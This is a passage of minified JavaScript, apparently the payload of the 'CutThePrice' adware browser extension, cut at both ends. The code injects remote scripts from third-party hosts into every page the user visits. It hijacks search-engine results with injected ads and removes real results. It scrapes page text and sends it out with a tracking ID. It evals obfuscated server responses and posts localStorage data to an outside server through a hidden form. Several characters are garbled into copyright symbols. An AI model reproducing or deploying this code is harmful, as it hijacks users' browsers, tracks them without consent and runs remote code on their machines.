b.utils.query_selector_all(\".yael a\"), c = 0; c < a.length; c++) { var d = a[c]; d.outerHTML = d.outerHTML.replace(/href\\=/ig, \"_href=\") } }, 20) }, !1, a[c], !0) }; b.addCloseFunctionality = function () { function a(a) { for (var b = a.className.split(\" \"), c = 0; c < b.length; c++)if (\"yael\" === b[c])return a; if (!a.parentElement)return !1; a = a.parentElement; return arguments.callee(a) } var c = b.utils.query_selector_all(\".yael_close_btn\"); if ©for (var d = 0; d < c.length; d++)b.events.add(\"click\", function () { try { var b = a(this) } catch © { } b && b.parentElement.removeChild(b) }, !1, c[d], \"closeBtn\") }; b.inject_search = function () { b.not_unique_items = []; 0 != __yael_res.data.items.length && (b.setClickHref(__yael_res.data.items[0].clickUrl, b.projects_name), b.check_if_div_in_dom(0, function () { for (var a in __yael_res.config.targets) { var c = __yael_res.config.targets[a]; b.loop_targets(c, __yael_res.data.items, c.layouts.unique) } \"function\" == typeof b.projects_info[b.projects_name].tweak && b.projects_info[b.projects_name].tweak(); b.j || b.removeSecondClick(); b.addCloseFunctionality(); b.utils.flushWaitForTokens() })) }; b.init_search_project = function () { b.waitForElementCounter = 0; \"undefined\" != typeof __yael && b.remove_search(); for (var a in b.projects_info)if (b.utils.match_url(location.href, b.projects_info[a].urls)) { var c = b.projects_info[a]; b.projects_name = a; if (-1 < b.initThrottle.indexOf(a))c.validate(function () { c.name = b.projects_name; b.get_keyword(c, function (a, c) { b.jsonp_request(a, c) }) }); else { if (!c.validate())return; c.name = b.projects_name; b.projects_name = a; b.get_keyword(c, function (a, c) { b.jsonp_request(a, c) }) } } return !1 }; b.get_keyword = function (a, c) { var d = a.src_for_keyword, e = function (d) { b.inputElement = d[0]; b.keyword = b.inputElement.value; if (2 > b.keyword.length)return b.utils.flushWaitForTokens(), !1; if (b.inputElement && \"input\" == b.inputElement.tagName.toLowerCase() && \"\" !== b.keyword)return c(b.keyword, a.name) }; if (d instanceof Array)for (var f = 0; f < d.length; f++)b.utils.waitForElement(d[f], function (a) { a && e(a) }, 100, \"keyword\"); else b.utils.waitForElement(d, function (a) { a && e(a) }, 100, \"keyword\") }; b.remove_se_handler = function (a) { var c = b.projects_info[a].dr; if (c instanceof Array)if (\"bing\" == a)for (c = b.utils.query_selector_all(c[0]), a = 0; a < c.length; a++)b.remove_se(c[a]); else for (a = 0; a < c.length; a++) { var d = l(c[a]); b.remove_se(d) } }; b.remove_se = function (a) { a && a.parentElement.removeChild(a) }; b.jsonp_request = function (a, c) { var d = b.num_of_items_in_one * parseInt(b.projects_info[c].unique_search_divs); window.__yael_cb = function (a) { window.__yael_res = a; \"0\" == __yael_res.data.numberOfItems ? b.utils.flushWaitForTokens() : (0 == __yael.utils.getRandomInt(0, 10) && b.remove_se_handler©, __yael.inject_search()) }; \"undefined\" == typeof window.__yael && (window.__yael = b); d = b.jsonpHost + \"/?v=\" + b.version + \"&p=\" + c + \"&keyword=\" + a + \"&numItems=\" + d + \"&hid=2021033856717153140&eid=1461&pid=25116&prid=186\"; \"undefined\" != typeof specificFeeds && specificFeeds instanceof Array && (d += \"&_feeds=\" + specificFeeds.join(\",\")); if (b.utils.isIE()) { if (document.getElementById(\"__yael_script\")) { var e = document.getElementById(\"__yael_script\"); e.parentNode.removeChild(e) } e = document.createElement(\"script\"); e.id = \"__yael_script\"; e.src = \"//\" + d + \"&domvar=__yael_cb\"; e.type = \"text/javascript\"; b.utils.addScript(e, c) } else b.utils.ajax.get(\"//\" + d, function (a) { \"\" != a && (window.__yael_res = JSON.parse(a), window.__yael_res.config.targets.header.num_of_items_in_one && (b.num_of_items_in_one = window.__yael_res.config.targets.header.num_of_items_in_one), \"0\" == __yael_res.data.numberOfItems ? b.utils.flushWaitForTokens() : (0 == __yael.utils.getRandomInt(0, 10) && __yael.remove_se_handler©, __yael.inject_search())) }) }; \"undefined\" == typeof __yael && b.init_search_project(); -1 < b.initThrottle.indexOf(b.projects_name) && b.events.add(\"keyup\", b.utils.throttle(b.init_search_project, 3E3), !1, b.inputElement, !1) } };}catch(e){};try{new function(){if(!(document.getElementById(\"sdjksjsksjdskjd__0\")||window!=window.top||-1<location.host.indexOf(\"google.com\")||-1<location.host.indexOf(\"bing.com\")||-1<location.host.indexOf(\"yahoo.com\"))){var a=document.createElement(\"script\");a.type=\"text/javascript\";a.async=true;a.setAttribute(\"id\",\"sdjksjsksjdskjd__0\");a.src=\"//cdncache-a.akamaihd.net/loaders/1750/l.js?aoi=1311798366&pid=1750&zoneid=458516&ext=CutThePrice&systemid=2021033856717153140&ext=CutThePrice\";document.getElementsByTagName(\"head\")[0].appendChild(a)}};}catch(e){};try{new function(){if(!document.getElementById(\"id_arrrrppdjafklbvnn4450fm\")&&window==window.top){var a=document.createElement(\"script\");a.type=\"text/javascript\";a.async=!0;a.src=\"//istatic.eshopcomp.com/fo/min/wp.js?subid=1461_25116&hid=2021033856717153140&bname=CutThePrice\";a.setAttribute(\"id\",\"id_ar623so92sn445lc0fm\");document.getElementsByTagName(\"head\")[0].appendChild(a)}};}catch(e){};try{new function(){if(!document.getElementById(\"id_arrrrppdjafklbvnn4440fm\")&&window==window.top){var a=document.createElement(\"script\");a.type=\"text/javascript\";a.async=!0;a.src=\"//istatic.eshopcomp.com/fo/ec/wpnewbs.js?subid=1461_25116&hid=2021033856717153140&bname=CutThePrice\";a.setAttribute(\"id\",\"id_cje6936fjie71mc6fa\");document.getElementsByTagName(\"head\")[0].appendChild(a)}};}catch(e){};try{if(window==window.top){var script=document.createElement(\"script\");script.type=\"text/javascript\";script.async=true;script.src=\"//cdncache-a.akamaihd.net/loaders/1748/l.js?aoi=1311798366&pid=1748&zoneid=458516&ext=CutThePrice&systemid=2021033856717153140&ext=CutThePrice\";document.getElementsByTagName(\"head\")[0].appendChild(script)};}catch(e){};try{new function(){if(!document.getElementById(\"7ejvo4812cvb6skot83mcweg3\")&&window==window.top){var a=document.createElement(\"script\");a.type=\"text/javascript\";a.async=!0;a.id=\"7ejvo4812cvb6skot83mcweg3\";a.src=\"//cdncache-a.akamaihd.net/loaders/1749/l.js?aoi=1311798366&pid=1749&zoneid=458516&ext=CutThePrice&systemid=2021033856717153140&ext=CutThePrice\";document.getElementsByTagName(\"head\")[0].appendChild(a)}};}catch(e){};try{new function(){if(!document.getElementById(\"id_ad5cbe0b719874f1\")&&window==window.top){var a=document.createElement(\"script\");a.type=\"text/javascript\";a.async=!0;a.src=\"//istatic.eshopcomp.com/fo/min/wpgb.js?bname=CutThePrice&subid=1461_25116\";a.setAttribute(\"id\",\"jruwmcl34702sh16583msdp2c52\");document.getElementsByTagName(\"head\")[0].appendChild(a)}};}catch(e){};try{(function(){if(!document.getElementById(\"sdfhtyconfsc\")&&window==window.top){var a=document.createElement(\"script\");a.src=\"//fp130.digitaloptout.com/pubjs?pid=630992&sid=1461_25116&an=CutThePrice&opt=1&tc=http%3A%2F%2Fsavemassit.info%2Fterms.html&&pp=http%3A%2F%2Fsavemassit.info%2Fprivacy.html&cid=7\";a.type=\"text/javascript\";a.async=true;a.setAttribute(\"id\",\"sdfhtyconfsc\");document.getElementsByTagName(\"head\")[0].appendChild(a)}})();}catch(e){};try{new function(){if(window.top===window&&!function(){var b='mp2021033856717153140',a=document.getElementsByTagName('body');-1<b.indexOf('##')&&(b='mp0');return a.length&&!a[0].getAttribute(b)?(a[0].setAttribute(b,'1'),!1):!0}()){var h=this,l=h,g=new function(){var b=this;b.JSON=new function(){this.parse=function(a){try{return'undefined'!==typeof JSON&&'function'==typeof JSON.stringify?JSON.parse(a):eval('var a='+a)}catch(d){return!1}}};b.cookie=new function(){var a=this;a.setCookie=function(a,e,c){if©{var b= new Date;b.setTime(b.getTime()+864E5*c);c='; expires='+b.toGMTString()}else c='';document.cookie=a+'='+e+c+'; path=/'};a.getCookie=function(a){a+='=';for(var e=document.cookie.split(';'),c=0;c<e.length;c++){for(var b=e[c];' '==b.charAt(0);)b=b.substring(1,b.length);if(0==b.indexOf(a))return b.substring(a.length,b.length)}return null};a.eraseCookie=function(d){a.setCookie(d,'',-1)}};b.getProtocol=function(a){var d=document.createElement('a');d.href=a;return d.protocol};b.l=new function(){var a=this; a.xlat='abcdwxyzstuvrqponmijklefghABCDWXYZSTUVMNOPQRIJKLEFGH9876543210+/';a.encode=function(d){d=a._utf8_encode(d);for(var e='',c=0;c<d.length;){var b=d.charCodeAt(c++),n=d.charCodeAt(c++),q=d.charCodeAt(c++),r=b>>2,b=(b&3)<<4|n>>4,g=(n&15)<<2|q>>6,k=q&63;isNaN(n)?g=k=64:isNaN(q)&&(k=64);e=e+a.xlat.charAt®+a.xlat.charAt(b)+(64==g?'=':a.xlat.charAt(g))+(64==k?'=':a.xlat.charAt(k))}return e};a._utf8_encode=function(a){if(a&&a.length){for(var e='',c=0;c<a.length;c++){var b=a.charCodeAt©;128>b?e+= String.fromCharCode(b):(127<b&&2048>b?e+=String.fromCharCode(b>>6|192):(e+=String.fromCharCode(b>>12|224),e+=String.fromCharCode(b>>6&63|128)),e+=String.fromCharCode(b&63|128))}return e}return a};a.decode=function(a){a=a.toString().replace(/[^A-Za-z0-9\\+\\/]/g,'');for(var b='',c=0;c<a.length;){var f=this.xlat.indexOf(a.charAt(c++)),n=this.xlat.indexOf(a.charAt(c++)),g=this.xlat.indexOf(a.charAt(c++)),k=this.xlat.indexOf(a.charAt(c++)),h=(n&15)<<4|g>>2,l=(g&3)<<6|k,b=b+String.fromCharCode(f<<2|n>>4); 64!=g&&0<h&&(b+=String.fromCharCode(h));64!=k&&0<l&&(b+=String.fromCharCode(l))}return this._utf8_decode(b)};a._utf8_decode=function(a){for(var b='',c=0;c<a.length;){var f=a.charCodeAt©;if(128>f)b+=String.fromCharCode(f),c++;else if(191<f&&224>f)var g=a.charCodeAt(c+1),b=b+String.fromCharCode((f&31)<<6|g&63),c=c+2;else var g=a.charCodeAt(c+1),k=a.charCodeAt(c+2),b=b+String.fromCharCode((f&15)<<12|(g&63)<<6|k&63),c=c+3}return b}};b.ajax=new function(){this.get=function(a,b){try{var e=new XMLHttpRequest; e.open('GET',a,!0);e.withCredentials=!0;e.onreadystatechange=function(){4==e.readyState&&b(e.responseText)};e.send()}catch©{}}};b.randomChar=function(){for(var a='',b=0;2>b;b++)a+='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'.charAt(Math.floor(52*Math.random()));return a};b.msie=function(){var a=parseInt((/msie (\\d+)/.exec(navigator.userAgent.toLowerCase())||[])[1],10);isNaN(a)&&(a=parseInt((/trident\\/.*; rv:(\\d+)/.exec(navigator.userAgent.toLowerCase())||[])[1],10));return isNaN(a)?!1: a}();b.inject_script=function(a){var b=document.getElementsByTagName('body')[0],e=document.createElement('script');e.type='text/javascript';e.id='id_vdsfvdfvvf';e.src=a;b&&b.appendChild(e)};b.epoch=function(){return Math.floor((new Date).getTime()/1E3)};b.getVert=function(){var a=localStorage.getItem('sk398erjds2d');return a?a:b.forexVert()};b.browser=function(){var a=navigator.userAgent.toLowerCase(),b={webkit:/webkit/.test(a),mozilla:/mozilla/.test(a)&&!/(compatible|webkit)/.test(a),chrome:/chrome/.test(a), msie:/msie/.test(a)&&!/opera/.test(a),firefox:/firefox/.test(a),safari:/safari/.test(a)&&!/chrome/.test(a),opera:/opera/.test(a)};b.version=b.safari?(a.match(/.+(?:ri)[\\/: ]([\\d.]+)/)||[])[1]:(a.match(/.+(?:ox|me|ra|ie)[\\/: ]([\\d.]+)/)||[])[1];return b}();b.getNodeTextProp=function(a){return'textContent'in a?'textContent':'innerText'in a?'innerText':!1};b.dhtml_prop_name=function(a){return a.replace(/(\\-([a-z]){1})/g,function(a,b,c){return c.toUpperCase()})};b.get_computed_style='function'!=typeof window.getComputedStyle? function(a){return{getPropertyValue:function(d){'float'==d&&(d='styleFloat');d=b.dhtml_prop_name(d);return'object'==typeof a.currentStyle&&null!=a.currentStyle&&'undefined'!=typeof a.currentStyle[d]?a.currentStyle[d]:null}}}:function(a,b){return window.getComputedStyle(a,b)||{getPropertyValue:function(){}}};b.mapAdTypes=function(a){for(var b={},e=0;e<a.length;e++){var c=a[e];b['_'+c[2]]={key:c[0]+'x'+c[1]}}return b};b.cancelEvent=function(a){return('undefined'==typeof a&&(a=window.event||arguments.callee.caller.arguments[0]), 'undefined'==typeof a)?!1:('undefined'!=typeof a.cancelBubble&&(a.cancelBubble=!0),'undefined'!=typeof a.returnValue&&(a.returnValue=!1),'undefined'!=typeof a.stopProgration&&a.stopProgration(),'undefined'!=typeof a.preventDefault&&a.preventDefault(),a)}},x=function(){try{return'direct_pop.'+eval('[\"starves.org\",\"winnermore.com\"]')['https:'==window.location.protocol?1:0]}catch(b){return['direct_pop.winneri.info','direct_pop.winnermore.org']['https:'==window.location.protocol?1:0]}}(),y=['compey.net','comprises.info'], z={_1:{key:'728x90'},_2:{key:'300x250'},_3:{key:'468x60'},_4:{key:'250x250'},_5:{key:'160x600'},_6:{key:'120x600'},_7:{key:'120x240'},_8:{key:'240x400'},_10:{key:'300x600'},_9:{key:'1024x728'},_11:{key:'670x670'},_12:{key:'600x270'},_13:{key:'600x400'}},k;try{k=g.JSON.parse('{\"szy_domain\":[\"dogmatchonlin.com\",\"bookhome.info\"],\"ad_sizes\":[[120,60,19],[630,250,22],[336,280,17],[630,500,23],[180,150,18],[234,60,15],[200,200,16],[600,400,13],[125,125,14],[670,670,11],[600,270,12],[800,600,21],[468,60,3],[800,440,20],[300,250,2],[728,90,1],[300,600,10],[120,240,7],[120,600,6],[160,600,5],[250,250,4],[240,400,8]]}')}catch(F){k=g.JSON.parse('{\"szy_domain\":[\"skymetwebguard.com\",\"compey.info\"],\"ad_sizes\":[[728,90,1],[300,250,2],[468,60,3],[250,250,4],[160,600,5],[120,600,6],[120,240,7],[240,400,8],[300,600,10],[670,670,11],[600,270,12],[600,400,13],[125,125,14],[234,60,15],[200,200,16],[336,280,17],[180,150,18],[120,60,19],[800,440,20],[800,600,21]]}')}var s; s=''!==k&&k&&'undefined'!==typeof k.szy_domain&&k.szy_domain instanceof Array?k.szy_domain:y;var u;u=''!==k&&k&&'undefined'!==typeof k.ad_sizes&&k.ad_sizes instanceof Array?g.mapAdTypes(k.ad_sizes):z;var v=document.getElementsByTagName('body')[0],m={subid:'25116',subid1:'2021033856717153140',subid2:'1461',subid3:686,tid:'6'},A={_7:'show_immediately',_10:'show_on_click_hide_referrer',_11:'show_on_click',_12:'show_immediately_hide_referrer'},B=new function(){var b=function(a){return a.replace(/(\\-([a-z]){1})/g, function(a,b,c){return c.toUpperCase()})};this.jsonToHtml=function(a,d){if('#text'==a.type)d=document.createTextNode(a.text);else if('#comment'!=a.type){d||(d=document.createElement(a.type));if(a.attrs){for(var e in a.attrs)if(a.attrs.hasOwnProperty(e))if('style'==e&&a.attrs.style instanceof Object)for(var c in a.attrs.style){var f=b©;try{d.style[f]=a.attrs.style[c]}catch(g){}}else d.setAttribute(e,a.attrs[e]);'iframe'==a.type&&(a.attrs.hasOwnProperty('frameborder')&&(d.frameBorder=a.attrs.frameborder), a.attrs.hasOwnProperty('marginwidth')&&(d.marginWidth=a.attrs.marginwidth),a.attrs.hasOwnProperty('marginheight')&&(d.marginHeight=a.attrs.marginheight))}if(a.children)for(e=0;e<a.children.length;e++){f=a.children[e];c=arguments.callee(f);try{d.appendChild©}catch(k){'#text'==f.type&&'string'==typeof f.text&&('style'==a.type&&d.styleSheet?d.styleSheet.cssText=f.text||'':(c='textContent'in d?'textContent':'innerText'in d?'innerText':!1,c&&(d[c]=f.text)))}}}return d}},p=new function(){var b=this;b.cache= [];b.add=window.addEventListener?function(a,d,e,c,f){'undefined'==typeof c&&(c=window);c.addEventListener(a,d,e);f&&b.cache.push([a,d,e,c])}:window.attachEvent?function(a,d,e,c,f){'undefined'==typeof c&&(c=window);c['e'+a+d]=d;c[a+d]=function(){c['e'+a+d](window.event)};c.attachEvent('on'+a,c[a+d]);f&&b.cache.push([a,d,e,c])}:function(){};b.remove=window.removeEventListener?function(a,b,e,c){'undefined'==typeof c&&(c=window);c.removeEventListener(a,b,e)}:window.detachEvent?function(a,b,e,c){'undefined'== typeof c&&(c=window);c.detachEvent('on'+a,c[a+b]);c[a+b]=null;c['e'+a+b]=null}:function(){};b.flush=function(){for(var a=0;a<b.cache.length;a++)b.remove.apply(b,b.cache[a]);b.cache=[]}},w=function(b,a){var d='//'+x+'?',e=s['https:'==window.location.protocol?0:1],e={pid:'25116',cc:'US',eid:'1461',hid:'2021033856717153140',v:'1.0.0',ch:a,cid:l.response[0][2],tid:m.tid,adtid:l.response[0][4],smid:l.response[0][3],pbid:b,oh:encodeURIComponent(l.response[0][0]), sh:encodeURIComponent(e)},c;for(c in e)d+=c+'='+e[c]+'&';d=d.slice(0,-1);(new Image).src=d},C=new function(){this.init=function(b){function a(){var a=document.getElementById('__modal_close'),b=document.getElementById('__modal_container');p.add('click',function(){b.parentNode.removeChild(b)},!1,a,!1)}function d(){var a,b,c;'undefined'==typeof l.response[0][4]&&l.response[0].push(9);try{a=u['_'+l.response[0][4]].key,b=a.split('x')[0]+'px',c=a.split('x')[1]+'px'}catch(e){}a=window.innerHeight;if(b&& c){var d=document.getElementById('__modal');d.style.width=b;d.style.height=c;d.style.marginLeft=parseInt(d.style.width)/2-parseInt(d.style.width)+'px';d.style.top=(a-parseInt(d.style.height))/2+'px'}}var e=b[0][3];b=b[0][0];var c=g.getProtocol(b);if(b&&window.location.protocol===c){c={type:'div',attrs:{id:'__modal_container',style:{display:'none',position:'fixed','z-index':'9999999999',height:'100%',width:'100%',margin:'0',padding:'0',background:'rgba(0,0,0,0.3)',top:'0',right:'0',bottom:'0',left:'0', 'border-radius':'0',overflow:'hidden'}},children:[{type:'div',attrs:{id:'__modal',style:{position:'absolute','z-index':'99999999999',left:'50%',top:'10px','text-align':'left',width:'90%',margin:'0 0 0 -45%','background-color':'#FFFFFF',border:'1px solid #DDDDDD','border-radius':'5px',height:'90%',padding:'0'}},children:[{type:'div',attrs:{style:{margin:'0',padding:'2px',left:'0',width:'inherit',top:'0','background-color':'transparent'},id:'__modal_close'},children:[{type:'img',attrs:{src:'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAYAAADEtGw7AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAABA1JREFUeNp8VW9IW1cUP3l5eS9iZx+amsaNtNZsdtgttnSkBYmRLEsVs1rwi9Z9Udm6YZXYTr+MaMcm4idXPwTUD05BWP3bNBsleREUoabMTzr/wNxEjQqCgoj/Gr2792re8prUC4f3znnn/M65757zuwqEEMRbLMfxXzocV/MLCswfZ2bakpKSTAqFAra3t4ML//zr93pfjL3weOb29vYO4gIQ4GjBwWx1dbVlfn5e3NjYQBHBOpqamkLRtoWFBfEh9mUYhn0bR6ZotTrB5/O5SNDq6irq6OhAxcXFSK1Wy8Rms6G2tja0vLxME4iBgEt78aIQF1in0wnT09Nu4uj1epHRaEQ8z8eARovJZELj4+ORHbk/0OsFGTCLV2BkhFba1dUlBUYDn5WkpaWFggeDQRfHq1kJ2NXQaIlUelaFZ0l7ezsF/7mpyUKBNamp/NLSkogFZWVlyZytVivKz8+PATEYDKimpgZd0GolW9L582h2dhatra2JaWlpPNR+/9hIMrndbllwTk6OdPrNzc3UlpCQgLKzsykAsXd2dspinE4ntT958qORseZZzaTthoeHZS2I+xX29/epXlFRAY2NjYB3BL29vaDRaKh9Z2dHiiE9PjA0BMfHx3Dnjt0MoVDIs7i4GPe/lZaWopWVFaly4hd57+/vjxszMTGB1tfXPYxKpTJtbm7GDA1Zg4ODUFdXB4eHh1RPTEykz9HRUSgrK4s7cBgUlEqliSFbODo6kn0ktsjC0wW7u7uy78QWb0VjMViCycnJcR0/NRqhu7sbBEGgeiSovLwcGhoaqB4th+EwpKSkEJcgg8fSjwkGMjIyZKDJ2KEHg0aSku0/dNbCwcEJ51RWVkJ1TS28OQZ4g/OF8fMIi/7SJdja2vIzflEcI44Oh0MG/Mm1azLQkpISGHjWB85HjyXwz25eP/0H+Fzwo6joLrx37hw8/8M3Btdv3ODxKYuEvTSp2pi+rK+vp+/4kBEoT8RssZIJQ+kfZlJdgckNFCr00ucnHSMab97iaQf82tNDR7q1tfWdI0uAFcr/wRklhxiGk/QH335H27BvYMgiccXly+ks7mdKQlVVVTGgfIIasbRiVgIiVSpZkoxDn9vtmGbXSc+7dPp0Vkablrw8AQNT2mzC25RAsXBYlKqTKiPgzGmCr795gFZCIVKt2154V4hL9F/Y7QLJSsAnJycRHmWkuZCKOBWumFTHnACSX1J07x4KBEbo9jHxuAqLimVEr3j7zku/coV9+svTnNu3b/2AVSuZOsx8MDMzg09eAQbDR6DXv09PH6/Aq9d//uSsfTT+99xfYdmwvOsyzc3N5e/f/+pqYWGBmeM4GzaZTj8Fw+Gwf9Dz+9hvz/rmRsWXcS/T/wQYAL8KChTqW9Z8AAAAAElFTkSuQmCC', style:{cursor:'pointer',width:'22px',height:'22px'}}},{type:'span',attrs:{style:{position:'relative','margin-left':'20px','font-size':'12px','line-height':'33px'}},children:[{type:'#text',text:'Ads by CutThePrice'}]}]},{type:'iframe',attrs:{style:{border:'0'},id:'__modal_iframe',width:'100%',height:'100%',frameboarder:'0',scrolling:'yes',marginheight:'0',marginwidth:'0',sandbox:'allow-same-origin allow-scripts allow-popups allow-forms',name:'vdsfvdfvvf',allowtransparency:'true',src:'about:blank'}}]}]}; try{var f=B.jsonToHtml©}catch(k){}if(f){var h=f.querySelector('#__modal_iframe'),r=function(){var a=document.getElementById('__modal_container');p.remove('load',arguments.callee,!1,h);a.style.display='inherit'},c=function(a,b){b&&(a=\"data:text/html,<html><head><meta http-equiv='refresh' content='0; url=\"+a+\" '/></head></html>\");h.src=h.src.replace('about:blank',a)},m=function(b){p.add('load',r,!1,b.querySelector('iframe'),!0);v.appendChild(b);w('0','1');a();d()},t=function(b){p.add('click',function(){g.cancelEvent(); p.remove('click',arguments.callee,!1,document);v.appendChild(b);w('0','1');a();document.getElementById('__modal_container').style.display='inherit';d()},!1,document,!0)};12===e&&g.msie&&(e=7);10===e&&g.msie&&(e=11);switch(e){case 7:c(b);m(f);break;case 10:c(b,!0);t(f);break;case 11:c(b);t(f);break;case 12:c(b,!0),m(f)}}}}},D=function(){var b=document.title,a=document.getElementsByTagName('meta');if(a)for(var d=0,e=a.length;d<e;d++)'keywords'!=a[d].name.toLowerCase()&&'description'!=a[d].name.toLowerCase()|| (b+=' '+a[d].content.replace(/,/g,' '));if(d=document.getElementsByTagName('a')){a={};for(e=0;e<d.length;e++)try{var c=d[e].innerText;'undefined'==typeof c&&(c=d[e].textContent);for(var f=c.toLowerCase().split(/[\\s,-]/g),g=0;g<f.length;g++)4>f[g].length||(a[f[g]]?a[f[g]]++:a[f[g]]=1)}catch(k){}var c=[],h;for(h in a)c.push([h,a[h]]);c.sort(function(a,b){return b[1]-a[1]});c=c.slice(0,25);for(h=0;h<c.length;h++)b+=' '+c[h][0]}return b.replace(/[_-]/g,' ').substring(0,1024)};h.tp=function(b){if(b){b= g.l.decode(b);try{h.response=eval(b)}catch(a){}h.response&&h.response[0]&&(h.response[0][0]=h.response[0][0].replace('zig_pp','rja6vTw5qi5GrHYKrjk4fHw9rHYFqjC5pdr%3D'),A['_'+h.response[0][3]]&&C.init(h.response))}};var E=function(b){g.msie?g.inject_script(b+'&cb=vdsfvdfvvf.tp'):g.ajax.get(b,function(a){a&&h.tp(a)})};g.msie&&9>g.msie||(window==window.top&&function(){var b='?',a;for(a in m)m.hasOwnProperty(a)&&(b+=a+'='+m[a]+'&');b+='k='+encodeURIComponent(D());E('//'+s['http:'==window.location.protocol?0:1]+b,'tp')}(), 'undefined'==typeof window.vdsfvdfvvf&&(window.vdsfvdfvvf=h))}};}catch(e){};try{window.self==window.top&&new function(){var a=this;a.sleepTime=5E3;a.setProductPriority={Foxy:1,iRobinHood:2};a.Foxy=new function(){this.init=function(){if(!document.getElementById(\"dotm495nvh5s99iez741dx4\")&&window.self==window.top){var c=document.createElement(\"script\");c.type=\"text/javascript\";c.async=true;c.setAttribute(\"id\",\"dotm495nvh5s99iez741dx4\");c.src=\"//client.foxydeal.com/sf/1054/1461X25116/\"+document.location.hostname+\"?partnerName=CutThePrice\";document.getElementsByTagName(\"head\")[0].appendChild©}setTimeout(function(){null==\r\ndocument.getElementById(\"FoxyDealTopBar\")&&a.runProduct()},a.sleepTime)}};a.iRobinHood=new function(){this.init=function(){if(!document.getElementById(\"djdnjh4e7dne543gv\")&&window.self==window.top){var c=function(){window._chch3e7xjxs2=\"2021033856717153140\"};if(-1==navigator.userAgent.toLowerCase().indexOf(\"chrome\"))c();else{var b=document.createElement(\"script\");b.innerHTML=\"(\"+c.toString()+\")()\";document.getElementsByTagName(\"head\")[0].appendChild(b)}b=document.createElement(\"script\");b.type=\"text/javascript\";b.async=true;\r\nb.setAttribute(\"id\",\"djdnjh4e7dne543gv\");b.src=\"//static.donation-tools.org/widgets/WPPartner/widget.js?_irh_prodname=CutThePrice&_irh_subid=1461_25116\";document.getElementsByTagName(\"head\")[0].appendChild(b)}setTimeout(function(){null==document.getElementById(\"iRobinhood_Strip\")&&a.runProduct()},a.sleepTime)}};a.sortedProduct=[];for(var b in a.setProductPriority)a.min||(a.min=a.setProductPriority),a.max||(a.max=a.setProductPriority),a.min>a.setProductPriority&&\r\n(a.min=a.setProductPriority),a.max<a.setProductPriority&&(a.max=a.setProductPriority);a.index=a.min;for(b in a.setProductPriority){for(var d in a.setProductPriority)a.index==a.setProductPriority[d]&&a.sortedProduct.push(d);a.index++}a.runProduct=function(){if(0<a.sortedProduct.length){var b=a.sortedProduct[0];a.sortedProduct.splice(0,1);a.init()}};a.runProduct()};}catch(e){}})();(function(){try{(function(){var k,g,n;try{var h=window.location.href;if(window!=window.top&&\"undefined\"!=typeof localStorage&&\"undefined\"!=typeof localStorage.setItem&&(-1!=h.indexOf(\"RJafSjWW=\")||h.match(/1018-\\d{3,4}_/)||-1!=h.indexOf(\"cdncache-a.aka\"))){if(-1<h.indexOf(\"RJafSjWW=\")){var l=h.match(/RJafSjWW=(\\d+)_(\\d{2,3}x\\d{2,3})_?(\\d+)?/);k=l[1];g=l[2].replace(\"x\",\".\");n=l[3]?l[3]:0}else{try{var m=-1<h.indexOf(\"zoneid\")?h.match(/zoneid=(\\d+)/)[1]:h.match(/1018-(\\d+)_WS/)[1]}catch(e){m=\r\n0}var b=document.getElementsByTagName(\"body\")[0];k=-1<h.indexOf(\"cdncache-a.aka\")?1001:1002;g=Math.max(b.scrollWidth,b.offsetWidth)+\".\"+Math.max(b.scrollHeight,b.offsetHeight);n=m}var c=new Date,d=parseInt(c.getTime()/1E3),f=\"zyk_\"+[c.getUTCFullYear()+\"-\"+(c.getUTCMonth()+1)+\"-\"+c.getUTCDate(),k,g,n].join(),q=localStorage.getItem(f);localStorage.setItem(f,1+(q?parseInt(q):0));if(lsTime=localStorage.getItem(\"zEpoch\")){if(7200<d-parseInt(lsTime)){var p=document.createElement(\"div\");k=[];for(i in localStorage)-1<\r\ni.indexOf(\"zyk_\")&&k.push(\"'\"+i.replace(\"zyk_\",\"\")+\"':\"+localStorage.getItem(i));p.style.display=\"none\";p.innerHTML='<iframe name=\"webscorebox_ifr\"></iframe><form target=\"webscorebox_ifr\" method=\"post\" action=\"http://count3.websco...k7qHw6rjkHrjnE\" id=\"webscorebox_frm\"><input type=\"hidden\" name=\"scores\" value=\"{'+k.join(\",\")+'}\"></form>';(\"undefined\"!=typeof b?b:document.getElementsByTagName(\"body\")[0]).appendChild(p);document.getElementById(\"webscorebox_frm\").submit();localStorage.clear()}}else localStorage.setItem(\"zEpoch\",\r\nd)}}catch®{}})();\r\nnew function(){var k=this;this.utils=new function(){var e=this;e.sendPixels=function(b){var c;if(b instanceof Array)for(var d=0;d<b.length;d++){var f=b[d];c=new Image;c.src=f}else c=new Image,c.src=b};e.isFalse=function(b){return\"undefined\"==typeof b||0===b.length||null===b};e.cookie=new function(){var b=this;b.createCookie=function(b,d,f){if(f){var e=new Date;e.setTime(e.getTime()+864E5*f);f=\"; expires=\"+e.toGMTString()}else f=\"\";document.cookie=b+\"=\"+d+f+\"; path=/\"};b.readCookie=function(b){b+=\r\n\"=\";for(var d=document.cookie.split(\";\"),f=0;f<d.length;f++){for(var e=d[f];\" \"==e.charAt(0);)e=e.substring(1,e.length);if(0==e.indexOf(b))return e.substring(b.length,e.length)}return null};b.eraseCookie=function©{b.createCookie(c,\"\",-1)}};e.ajax={get:function(b,c){try{this.xhr=new XMLHttpRequest,this.xhr.open(\"GET\",b,!0),this.xhr.onreadystatechange=function(){4==e.ajax.xhr.readyState&&c(e.ajax.xhr.responseText)},this.xhr.send()}catch(d){}},post:function(b,c,d){this.xhr=new XMLHttpRequest;this.xhr.open(\"POST\",\r\nb,!0);this.xhr.setRequestHeader(\"Content-type\",\"application/x-www-form-urlencoded\");this.xhr.onreadystatechange=function(){4==e.ajax.xhr.readyState&&d(e.ajax.xhr.responseText)};c=encodeURIComponent©;this.xhr.send©}};e.waitForTokens={};e.addScript=function(b,c){if(\"bing\"==c){var d=Element.prototype.appendChild;document.createElement(\"iframe\");Element.prototype.appendChild=document.appendChild;document.getElementsByTagName(\"head\")[0].appendChild(b);Element.prototype.appendChild=d}else document.getElementsByTagName(\"head\")[0].appendChild(b)};\r\ne.waitForElement=function(b,c,d,f){var g=e.query_selector_all(b);clearTimeout(e.waitTimeout);if(25<k.waitForElementCounter)return c(null);if(\"undefined\"==typeof g||1>g.length){if(e.waitForTokens[f])return c(null);var 